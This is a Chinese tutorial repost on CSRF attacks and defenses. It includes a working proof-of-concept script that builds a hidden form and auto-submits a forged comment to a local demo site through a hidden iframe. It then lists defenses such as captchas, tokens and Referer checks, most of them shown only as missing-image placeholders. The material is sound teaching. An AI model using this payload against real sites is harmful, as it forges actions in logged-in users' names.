腾讯大牛教你web前后端漏洞分析与防御-CSRF

来源:互联网 发布:横向科研 知乎 编辑:程序博客网 时间:2024/05/29 18:38

跨站请求伪造攻击CSRF(Cross Site Request Forgy)

csrf是让用户在不知情的情况,冒用其身份发起了一个请求
点击不知情链接,图片url.src

发送给http://localhost:1521/已登录用户,该用户打开就会中招iframe是防止页面跳转<script>            document.write(`                <form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">                    <input name="postId" type="hidden" value="1">                    <textarea name="content">来自CSRF!</textarea>                </form>`            );            var iframe = document.createElement('iframe');            iframe.name = 'csrf';            iframe.style.display = 'none';            document.body.appendChild(iframe);            setTimeout(function(){                document.querySelector('[name=commentForm]').submit();            },1000);        </script>

CSRF攻击原理

这里写图片描述

CSRF防御

这里写图片描述

这里写图片描述

验证码

这里写图片描述

Token

这里写图片描述
多Token解决用户打开多页面但是Token被覆盖的问题
http://www.cnblogs.com/bukudekong/p/3829875.html

验证refer(referer)(禁止来自第三方网站的请求)

  • 没refer,部分网站,其他方法,根据业务

这里写图片描述

PHP防御SCRF

这里写图片描述

原创粉丝点击